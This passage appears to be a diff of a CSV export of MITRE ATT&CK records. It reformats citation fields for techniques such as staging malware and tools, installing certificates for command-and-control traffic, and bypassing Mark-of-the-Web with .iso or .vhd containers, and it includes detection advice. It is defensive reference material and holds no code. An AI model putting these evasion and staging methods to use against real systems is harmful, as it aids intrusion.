organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).",,,,,True,,,,['PRE'],,,,1.0 -2021-03-17 20:32:13.793000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert) +Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608/004', 'external_id': 'T1608.004'}, {'source_name': 'FireEye CFR Watering Hole 2012', 'description': 'Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html'}, {'source_name': 'Gallagher 2015', 'description': 'Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.', 'url': 'http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:32:13.793Z,2021-10-16T17:47:46.409Z,Install Digital Certificate,"Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert) Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. -Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1608/003', external_id='T1608.003'), ExternalReference(source_name='DigiCert Install SSL Cert', description='DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.', url='https://www.digicert.com/kb/ssl-certificate-installation.htm'), ExternalReference(source_name='Splunk Kovar Certificates 2017', description='Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', url='https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html')]",attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-26 18:43:18.448000+00:00,Install Digital Certificate,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) +Adversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608/003', 'external_id': 'T1608.003'}, {'source_name': 'DigiCert Install SSL Cert', 'description': 'DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.', 'url': 'https://www.digicert.com/kb/ssl-certificate-installation.htm'}, {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) -Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",,,,,True,,,,['PRE'],,,,1.0 -2021-03-17 20:31:07.828000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. +Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:31:07.828Z,2021-10-17T16:25:37.072Z,Upload Tool,"Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo. -Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1608/002', external_id='T1608.002'), ExternalReference(source_name='Dell TG-3390', description='Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.', url='https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage')]",attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-26 18:41:37.444000+00:00,Upload Tool,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",,,,,True,,,,['PRE'],,,,1.0 -2021-03-17 20:09:13.222000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. +Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608/002', 'external_id': 'T1608.002'}, {'source_name': 'Dell TG-3390', 'description': 'Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.', 'url': 'https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:09:13.222Z,2021-10-17T16:24:48.949Z,Upload Malware,"Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server. Malware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) -Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1608/001', external_id='T1608.001'), ExternalReference(source_name='Volexity Ocean Lotus November 2020', description='Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.', url='https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/')]",attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-26 18:40:15.732000+00:00,Upload Malware,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Kobi Haimovich, CardinalOps']",,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",,,,,True,,,,['PRE'],,,,1.0 -2021-03-17 20:04:09.331000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) +Adversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608/001', 'external_id': 'T1608.001'}, {'source_name': 'Volexity Ocean Lotus November 2020', 'description': 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.', 'url': 'https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Kobi Haimovich, CardinalOps']",['Internet Scan: Response Content'],,"If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T20:04:09.331Z,2021-10-17T16:28:41.815Z,Stage Capabilities,"Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020) Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to): * Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox) * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) * Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020) -* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1608', external_id='T1608'), ExternalReference(source_name='Volexity Ocean Lotus November 2020', description='Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.', url='https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/'), ExternalReference(source_name='FireEye CFR Watering Hole 2012', description='Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.', url='https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html'), ExternalReference(source_name='Gallagher 2015', description='Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.', url='http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/'), ExternalReference(source_name='ATT ScanBox', description='Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', url='https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'), ExternalReference(source_name='Malwarebytes Silent Librarian October 2020', description='Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.', url='https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/'), ExternalReference(source_name='Proofpoint TA407 September 2019', description='Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.', url='https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian'), ExternalReference(source_name='DigiCert Install SSL Cert', description='DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.', url='https://www.digicert.com/kb/ssl-certificate-installation.htm')]",attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='resource-development')]",2021-04-27 19:01:22.653000+00:00,Stage Capabilities,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.",,,,,False,,,,['PRE'],,,,1.0 -2021-03-17 15:28:10.689000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites. +* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1608', 'external_id': 'T1608'}, {'source_name': 'Volexity Ocean Lotus November 2020', 'description': 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.', 'url': 'https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/'}, {'source_name': 'FireEye CFR Watering Hole 2012', 'description': 'Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020.', 'url': 'https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html'}, {'source_name': 'Gallagher 2015', 'description': 'Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as “watering holes”. Retrieved January 25, 2016.', 'url': 'http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/'}, {'source_name': 'ATT ScanBox', 'description': 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.', 'url': 'https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks'}, {'source_name': 'Malwarebytes Silent Librarian October 2020', 'description': 'Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.', 'url': 'https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/'}, {'source_name': 'Proofpoint TA407 September 2019', 'description': 'Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian'}, {'source_name': 'DigiCert Install SSL Cert', 'description': 'DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.', 'url': 'https://www.digicert.com/kb/ssl-certificate-installation.htm'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Internet Scan: Response Content'],,"If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities. -Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1016/001', external_id='T1016.001')]",attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='discovery')]",2021-03-25 17:03:26.632000+00:00,Internet Connection Discovery,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: Process Creation', 'Command: Command Execution']",,,,,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.",False,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-03-17T15:28:10.689Z,2021-03-25T17:03:26.632Z,Internet Connection Discovery,"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites. -Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.",,,,,True,,,['User'],"['Windows', 'Linux', 'macOS']",,,,1.0 -2021-02-22 14:20:31.650000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020) +Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1016/001', 'external_id': 'T1016.001'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution']",,"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained. -Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1553/005', external_id='T1553.005'), ExternalReference(source_name='Microsoft Zone.Identifier 2020', description='Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.', url='https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8'), ExternalReference(source_name='Beek Use of VHD Dec 2020', description='Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021.', url='https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316'), ExternalReference(source_name='Outflank MotW 2020', description='Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s perspective. Retrieved February 22, 2021.', url='https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/'), ExternalReference(source_name='Intezer Russian APT Dec 2020', description=""Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021."", url='https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/')]",attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-13 22:47:08.289000+00:00,Mark-of-the-Web Bypass,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Christiaan Beek, @ChristiaanBeek']","['File: File Creation', 'File: File Metadata']","['Anti-virus, Application control']",,,,"Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.",,,,,True,,,['User'],['Windows'],,,,1.0 -2021-01-22 16:08:40.629000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019) +Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.",True,['User'],"['Windows', 'Linux', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2021-02-22T14:20:31.650Z,2021-04-13T22:47:08.289Z,Mark-of-the-Web Bypass,"Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020) + +Adversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1553/005', 'external_id': 'T1553.005'}, {'source_name': 'Microsoft Zone.Identifier 2020', 'description': 'Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.', 'url': 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8'}, {'source_name': 'Beek Use of VHD Dec 2020', 'description': 'Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved February 22, 2021.', 'url': 'https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316'}, {'source_name': 'Outflank MotW 2020', 'description': 'Hegt, S. (2020, March 30). Mark-of-the-Web from a red team’s perspective. Retrieved February 22, 2021.', 'url': 